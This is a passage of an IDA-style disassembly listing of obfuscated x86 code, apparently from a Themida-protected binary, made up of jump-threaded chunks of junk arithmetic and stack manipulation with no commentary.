		sub	esi, 0FFFFFFFFh
		jmp	loc_58D3A1
; ---------------------------------------------------------------------------


loc_5884D6:				; CODE XREF: Themida_:00583D2Dj
		sub	bl, al
		add	bl, 0D1h
		jmp	loc_58FF85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5884E0:				; CODE XREF: sub_585452+64Fj
		pop	edx
		shl	edx, 6
		sub	edx, 0A550E6BCh
		add	ecx, 2AAE50D8h
		add	ecx, 49BC24D5h
		jmp	loc_58F299
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5884FB:				; CODE XREF: sub_58EFBD-3276j
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		jmp	loc_587F43
; ---------------------------------------------------------------------------


loc_58850D:				; CODE XREF: sub_58EFBD-10B1j
		mov	ebx, 3ECA1652h
		add	ebp, 7E602FB5h
		add	ebp, ebx
		jmp	loc_586F22
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_5878B6
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	4ECAh
		jmp	loc_589AEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58853C:				; CODE XREF: sub_585452+7B40j
		mov	bh, cl
		jmp	loc_584A53
; ---------------------------------------------------------------------------


loc_588543:				; CODE XREF: sub_585452+54C1j
		mov	edx, esp
		sub	esp, 4
		mov	[esp+52h+var_54+2], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp+52h+var_54+2]
		push	esi
		mov	esi, esp
		jmp	loc_58C437
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588560:				; CODE XREF: Themida_:00585EB4j
		push	2
		pop	esi
		add	edx, esi
		jmp	loc_585460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58856D:				; CODE XREF: sub_585452+46Bj
		push	edi
		push	eax
		push	511E4519h
		jmp	loc_589B2B
; ---------------------------------------------------------------------------


loc_588579:				; CODE XREF: sub_585452+74D4j
		sub	esi, 0D920C8Ah
		jmp	loc_58C3F1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_588584:				; CODE XREF: sub_58F3BC-6D17j
		push	esi
		mov	esi, 339B46CDh
		jmp	loc_587BD7
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58858F:				; CODE XREF: sub_585452+19B4j
		add	edi, 57EBEAD0h
		and	edx, edi
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_58AFF3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5885A2:				; CODE XREF: sub_58EFBD-B7Fj
		xor	ebx, 0D64F66AAh
		push	esi
		push	ebp
		jmp	loc_58DD90
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_5885AF:				; CODE XREF: Themida_:00584C3Aj
		add	eax, 4
		jmp	loc_5885FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5885B7:				; CODE XREF: sub_585452+1F83j
		add	ebp, 4
		jmp	loc_58BEB0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5885BF:				; CODE XREF: Themida_:0058CF4Fj
		sub	eax, 607793Ch
		or	[edi+1Ch], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_5885D5:				; CODE XREF: Themida_:0058FA53j
		add	esp, 4
		jmp	loc_58BD79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5885DD:				; CODE XREF: sub_585452-C05j
		sub	ecx, eax
		pop	eax
		and	eax, ecx
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		or	eax, eax
		jz	sub_58DB2A
		push	552Bh
		jmp	loc_58893B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5885FE:				; CODE XREF: Themida_:005885B2j
		xchg	eax, [esp]
		jmp	loc_588319
; ---------------------------------------------------------------------------


loc_588606:				; CODE XREF: Themida_:00586AD5j
		sub	eax, 22314055h
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	eax, edi
		mov	edi, [esp]
		jmp	loc_588C60
; ---------------------------------------------------------------------------


loc_588621:				; CODE XREF: Themida_:0058F8ADj
		pop	eax
		add	edx, edi
		jmp	loc_58B912
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588629:				; CODE XREF: sub_585452+1259j
		pop	ebx
		mov	esi, [esp+0]
		add	esp, 4
		and	ecx, ebp
		push	[esp-6+arg_0+2]
		mov	ebp, [esp+0]
		add	esp, 4
		add	esp, 4
		shr	ecx, 6
		push	ebx
		push	[esp-6+arg_0+2]
		push	dword ptr [esp+0]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 49457640h
		jmp	loc_587D2D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58865D:				; CODE XREF: Themida_:00589760j
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_58AC14
; ---------------------------------------------------------------------------


loc_58866B:				; CODE XREF: Themida_:0058F0AFj
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_58E2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58867B:				; CODE XREF: sub_585452+420Bj
		sub	ebx, 4
		xchg	ebx, [esp+6+var_8+2]
		jmp	loc_5873BB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588686:				; CODE XREF: Themida_:0058D680j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_58A60C
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5847DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58869B:				; CODE XREF: sub_585452+7D6j
		pop	edi
		mov	eax, [esp-0Ch+arg_8]
		jmp	loc_58D383
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F3BC


loc_5886A4:				; CODE XREF: sub_58F3BC-7856j
		push	edi
		jmp	loc_588584
; END OF FUNCTION CHUNK	FOR sub_58F3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_5886AA:				; CODE XREF: sub_58999B+50B4j
		add	ecx, 4
		jmp	loc_58D93A
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_5886B5:				; CODE XREF: sub_58AB18-6BD6j
		pop	edx
		jmp	loc_58E0E3
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5886BB:				; CODE XREF: sub_585452+82B3j
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	ebx
		jmp	loc_589C80
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5886CA:				; CODE XREF: Themida_:00583CF1j
		push	ebp
		jmp	loc_589A6E
; ---------------------------------------------------------------------------


loc_5886D0:				; CODE XREF: Themida_:00586D43j
		add	bh, 55h
		or	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58B409

; =============== S U B	R O U T	I N E =======================================



sub_5886E0	proc near		; CODE XREF: sub_58CF6A+E6Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4

; FUNCTION CHUNK AT 00586858 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058988F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00589CDA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058AE88 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B1C9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058D70A SIZE 00000009 BYTES

		push	ebp
		mov	ebp, 8DC039Fh
		neg	ebp
		push	2CC1h
		mov	[esp+8+var_8], edi
		push	35813EDAh
		jmp	loc_58AE88
sub_5886E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5886FA:				; CODE XREF: Themida_:00584C42j
		sub	eax, 77B44EC9h
		inc	eax
		xchg	eax, edx
		jmp	loc_58A8D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588706:				; CODE XREF: sub_585452+6356j
		sub	eax, 887C83Ch
		add	ebx, 2D268C8h
		add	ebx, eax
		jmp	loc_58B628
; ---------------------------------------------------------------------------


loc_588718:				; CODE XREF: sub_585452+4467j
		sub	ecx, 5F7207B8h
		pop	eax
		sub	esp, 4
		mov	[esp-8+arg_4], ebx
		mov	ebx, 56497C35h
		jmp	loc_584D60
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_588732:				; CODE XREF: sub_587574+7F83j
		dec	esi
		or	esi, 37487494h
		sub	esi, 37EB74D2h
		jmp	loc_58631A
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_588744:				; CODE XREF: sub_589967+3BA2j
		dec	ebx
		or	ebx, 16816326h
		dec	ebx
		add	ebx, 0E0208046h
		sub	ebp, 37A0770Ch
		add	ebp, ebx
		jmp	loc_5866B7
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_58875F:				; CODE XREF: Themida_:00589D09j
		mov	ebx, [esp]
		push	5B62h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_586679
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_588771:				; CODE XREF: sub_58EFBD-7723j
		add	edi, esi
		pop	esi
		mov	ecx, [esp+0]
		jmp	loc_584568
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58877C:				; CODE XREF: sub_585452+1C60j
		mov	al, 0B2h
		add	bl, al
		pop	ax
		add	dh, bl
		pop	ebx
		shl	dh, 2
		xor	dh, 9
		mov	bl, dh
		pop	edx
		shr	bl, 7
		push	0
		sub	byte ptr [esp+46h+var_48+2], bl
		mov	bl, byte ptr [esp+46h+var_48+2]
		add	esp, 4
		or	bl, 9Fh
		sub	bl, 81h
		push	ecx
		jmp	loc_58A7B7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5887AB:				; CODE XREF: Themida_:00584298j
		add	ebp, ecx
		pop	ecx
		jmp	loc_588AFA
; ---------------------------------------------------------------------------


loc_5887B3:				; CODE XREF: Themida_:0058B02Cj
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	ecx
		mov	ecx, 2
		add	esi, ecx
		jmp	loc_588C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_5887CC:				; CODE XREF: sub_58C230+181Ej
		pop	ebp
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		add	edi, 3E1E30ACh
		sub	edi, 6EAA4644h
		add	edi, 6BF1F5Bh
		add	edi, ecx
		sub	edi, 6BF1F5Bh
		add	edi, 6EAA4644h
		sub	edi, 3E1E30ACh
		add	edi, 430324F5h
		add	edi, 53CF6FA4h
		std
		push	0Ah
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		jmp	loc_5853D8
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58881C:				; CODE XREF: sub_58EFBD-6D08j
		mov	[esp+0], esi
		mov	esi, 6F135C71h
		mov	edx, esi
		jmp	loc_5888A9
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58882B:				; CODE XREF: sub_585452+3EA8j
		push	[esp+46h+var_44+2]
		mov	ecx, [esp+4Ah+var_4C+2]
		add	esp, 4
		pop	[esp+46h+var_48+2]
		jmp	loc_58457E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_585047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58960C


loc_588854:				; CODE XREF: sub_58960C-4429j
		add	esp, 4
		push	2294h
		mov	[esp+4+var_4], ebp
		push	ebx
		mov	ebx, 3E892A5Eh
		jmp	loc_586C94
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58886D:				; CODE XREF: sub_58EFBD+126j
		add	ecx, 4C44859h
		mov	eax, [ecx]
		pop	ecx
		pop	edx
		pop	ebx
		push	dword ptr [edi+eax*4]
		push	ebp
		push	eax
		mov	eax, 1B0E6059h
		neg	eax
		shr	eax, 8
		jmp	loc_584882
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5A3


loc_58888C:				; CODE XREF: sub_58A5A3-33AFj
		xor	eax, 65E745F6h
		not	eax
		shl	eax, 5
		jmp	loc_587EC7
; END OF FUNCTION CHUNK	FOR sub_58A5A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58889B:				; CODE XREF: sub_585452+A995j
		add	esp, 4
		add	ebx, 18346755h
		jmp	loc_58D925
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_5888A9:				; CODE XREF: sub_58EFBD-6797j
		pop	esi
		shr	edx, 6
		push	ecx
		push	45h
		mov	[esp+4+var_4], eax
		mov	eax, 396F61A6h
		jmp	loc_584F49
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_5888C0:				; CODE XREF: Themida_:0058E82Bj
		pop	eax
		add	esp, 4
		add	esp, 4
		push	276Ch
		mov	[esp], ebp
		push	esp
		jmp	loc_586E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BB49


loc_5888D5:				; CODE XREF: sub_58BB49-742Aj
		add	esp, 4
		jmp	loc_5872A1
; END OF FUNCTION CHUNK	FOR sub_58BB49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BCA7


loc_5888E0:				; CODE XREF: sub_58BCA7-5D69j
		mov	ebx, 57F70AA1h
		jmp	loc_58640A
; END OF FUNCTION CHUNK	FOR sub_58BCA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5888EA:				; CODE XREF: sub_585452+81Bj
		add	bh, 25h
		jmp	loc_58417E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5888F2:				; CODE XREF: Themida_:005890FCj
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	13CAh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_585794
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588910:				; CODE XREF: sub_585452-697j
		mov	eax, esp
		jmp	loc_58454B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588917:				; CODE XREF: Themida_:0058AB06j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_58A106
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E234


loc_58892B:				; CODE XREF: sub_58E234-1258j
		mov	esi, 5E5C0CF4h
		and	esi, 6FB602Fh
		jmp	loc_587CF3
; END OF FUNCTION CHUNK	FOR sub_58E234
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58893B:				; CODE XREF: sub_585452+31A7j
		mov	[esp+0], edx
		mov	edx, 1Ch
		add	edx, 1B8B53B8h
		sub	edx, 569B7031h
		add	edx, edi
		add	edx, 569B7031h
		push	edi
		push	edx
		push	65AC14E0h
		pop	edx
		jmp	loc_58F565
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588964:				; CODE XREF: Themida_:0058B222j
		pop	ebp
		jmp	loc_58B2DC
; ---------------------------------------------------------------------------


loc_58896A:				; CODE XREF: Themida_:0058B563j
		pop	esp
		mov	[esp], esi
		push	20D2h
		jmp	loc_58B025
; ---------------------------------------------------------------------------


loc_588978:				; CODE XREF: Themida_:0058452Cj
		add	ebp, 495F307Ah
		add	ebp, esi
		sub	ebp, 495F307Ah
		pop	esi
		jmp	loc_58BD2A
; ---------------------------------------------------------------------------


loc_58898C:				; CODE XREF: Themida_:0058D85Aj
		not	edx
		add	edx, 20163815h
		mov	ebp, edx
		pop	edx
		jmp	loc_584E72
; ---------------------------------------------------------------------------


loc_58899C:				; CODE XREF: Themida_:0058E6BDj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5889B0:				; CODE XREF: sub_585452+21ECj
		pop	[esp+46h+var_48+2]
		pop	esp
		add	byte ptr [esp+3Eh+var_40+2], al
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_5889BD:				; CODE XREF: sub_589967-8E8j
		mov	ebp, esi
		pop	esi
		pop	edx
		sub	[edi+24h], ebp
		mov	ebp, [esp+18h+var_18]
		push	ebp
		push	esp
		jmp	loc_58E7F4
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_5889CE:				; CODE XREF: Themida_:0058F04Fj
		add	esi, ebx
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	5299h
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		jmp	loc_5899C3
; ---------------------------------------------------------------------------


loc_5889F7:				; CODE XREF: Themida_:00589B98j
		push	ecx
		push	eax
		mov	eax, 475948B2h
		mov	ecx, 475948B6h
		sub	ecx, eax
		jmp	loc_583F7A
; ---------------------------------------------------------------------------


loc_588A0A:				; CODE XREF: Themida_:0058E49Ej
		not	di
		xchg	di, [esp]
		pop	si
		xchg	si, [esp]
		mov	bp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		xchg	bp, [esp]
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588A34:				; CODE XREF: sub_585452+82DFj
		pop	esp
		push	edx
		mov	edx, 274F0327h
		sub	eax, edx
		pop	edx
		sub	eax, ebx
		jmp	loc_5848EE
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588A45:				; CODE XREF: Themida_:0058EE1Ej
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588A5A:				; CODE XREF: sub_585452+59E7j
		mov	ebp, 7BF445A8h
		mov	edx, ebp
		pop	ebp
		add	[esp+3Ah+var_34+2], edx
		jmp	loc_58F1EA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588A6B:				; CODE XREF: Themida_:0058B37Cj
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_588A70:				; CODE XREF: Themida_:0058747Ej
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588A75:				; CODE XREF: sub_585452+2F1Bj
		mov	esp, [esp-14h+arg_E+2]
		mov	[esp-14h+arg_E+2], edx
		sub	esp, 4
		jmp	loc_58D602
; ---------------------------------------------------------------------------


loc_588A83:				; CODE XREF: sub_585452-21Dj
		dec	edx
		push	edi
		mov	edi, 60BC3284h
		dec	edi
		inc	edi
		jmp	loc_58903D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588A91:				; CODE XREF: Themida_:0058E90Dj
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58A0C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588AA6:				; CODE XREF: sub_585452+5354j
		mov	[esp+0], ecx
		jmp	loc_5863BF
; ---------------------------------------------------------------------------


loc_588AAE:				; CODE XREF: sub_585452+1F6Dj
		mov	ah, 0CBh
		or	ch, ah
		pop	eax
		jmp	loc_58AE3E
; ---------------------------------------------------------------------------


loc_588AB8:				; CODE XREF: sub_585452+236Cj
		mov	cl, ah
		pop	eax
		pop	edx
		jmp	loc_58B19E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588AC1:				; CODE XREF: Themida_:0058DCA4j
		mov	[esp], si
		jmp	loc_58BF88
; ---------------------------------------------------------------------------


loc_588ACA:				; CODE XREF: Themida_:0058968Cj
		push	edx
		mov	edx, 2
		jmp	loc_58B6B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_588AD5:				; CODE XREF: sub_589967-51BAj
		pop	ebp
		xor	ebp, edx
		jmp	loc_58A317
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588ADD:				; CODE XREF: sub_585452-1202j
		mov	edi, esp
		add	edi, 4
		push	eax
		push	4
		pop	eax
		add	edi, eax
		jmp	loc_58429D
; ---------------------------------------------------------------------------


loc_588AF3:				; CODE XREF: sub_585452+A199j
		push	edi
		push	esp
		jmp	loc_589640
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588AFA:				; CODE XREF: Themida_:005887AEj
		shl	ebp, 6
		shl	ebp, 2
		sub	ebp, 0FFFFFFFFh
		push	ecx
		mov	ecx, 519345B1h
		shl	ecx, 7
		xor	ecx, 0C968CB81h
		add	ebp, ecx
		pop	ecx
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588B27:				; CODE XREF: sub_585452+37C0j
		add	esi, ebp
		add	esi, 527F2A13h
		pop	ebp
		xor	esi, [esp-4+arg_0]
		jmp	loc_5857E9
; ---------------------------------------------------------------------------


loc_588B38:				; CODE XREF: sub_585452+A0F2j
		mov	ebp, ecx
		pop	ecx
		and	ebp, 60D2067Ah
		push	edx
		jmp	loc_58F760
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CA39


loc_588B47:				; CODE XREF: sub_58CA39+8j
		pop	ebp
		mov	eax, ecx
		pop	ecx
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp+0]
		jmp	loc_587E0E
; END OF FUNCTION CHUNK	FOR sub_58CA39
; ---------------------------------------------------------------------------


loc_588B56:				; CODE XREF: Themida_:00587793j
		push	esi
		push	4
		jmp	loc_58DA8E
; ---------------------------------------------------------------------------
		push	5A13h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58E8FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588B74:				; CODE XREF: sub_585452+69DBj
		push	esi
		jmp	loc_587719
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_588B7A:				; CODE XREF: sub_58EFBD-59ECj
		add	edx, ecx
		mov	ecx, [esp+4+var_4]
		jmp	loc_58BF3C
; ---------------------------------------------------------------------------


loc_588B84:				; CODE XREF: sub_58EFBD-8AE2j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_5882AD
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588B9E:				; CODE XREF: sub_585452-1063j
		mov	esp, [esp-4+arg_0]
		imul	cx
		push	small 0F8Eh
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588BB4:				; CODE XREF: Themida_:0058CE35j
		push	1FEFh
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_588170
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588BD8:				; CODE XREF: sub_585452+6638j
		pop	esi
		push	edx
		mov	edx, 4
		jmp	loc_58B2EE
; ---------------------------------------------------------------------------


loc_588BE4:				; CODE XREF: sub_585452+7D7Cj
		mov	ebx, edx
		pop	edx
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588BEC:				; CODE XREF: Themida_:00585F2Dj
		pop	eax
		sub	ebp, 77270A8Bh
		xor	ebp, 0E6D84375h
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_588F51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_588C03:				; CODE XREF: sub_585452+F80j
		add	esi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4
		sub	esi, 527F2A13h
		jmp	loc_588B27
; ---------------------------------------------------------------------------


loc_588C17:				; CODE XREF: sub_585452+1BB3j
		xor	esi, 6388CFC3h
		jmp	loc_58FB34
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_588C22:				; CODE XREF: Themida_:00586853j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	7B3D70F4h
		pop	ecx
		add	ecx, 0C8E3C126h
		mov	edi, ecx
		pop	ecx
		jmp	loc_58D5E4
; ---------------------------------------------------------------------------


loc_588C44:				; CODE XREF: Themida_:005846E2j
		push	dword ptr [esp]
		pop	ecx
		push	30Ah
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58AA92
; ---------------------------------------------------------------------------


loc_588C60:				; CODE XREF: Themida_:0058861Cj
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_588C77:				; CODE XREF: Themida_:005887C7j
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_588C9B:				; CODE XREF: Themida_:00584FC6j
		push	ecx
		mov	ecx, 601E5A6Ah
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, 639219F7h
		add	eax, 65AA0C8Bh
		not	eax
		add	eax, 0B1CE7A63h
		sub	ebx, eax
		pop	eax
		jmp	loc_58F858
; ---------------------------------------------------------------------------


loc_588CC5:				; CODE XREF: Themida_:0058F2D8j
		pop	ecx
		xor	eax, 39333325h
		mov	ebp, eax
		jmp	loc_589414
; ---------------------------------------------------------------------------


loc_588CD2:				; CODE XREF: Themida_:0058A6ECj
		add	dword ptr [esp], 4
		jmp	loc_587399
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5862E8


loc_588CDE:				; CODE XREF: sub_5862E8+55D9j
		sub	eax, 4
		push	4C8Eh
		mov	[esp+4+var_4], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp+4+var_4]
		jmp	loc_5858C2
; END OF FUNCTION CHUNK	FOR sub_5862E8
; ---------------------------------------------------------------------------


loc_588CF6:				; CODE XREF: Themida_:00589093j
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_5857B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


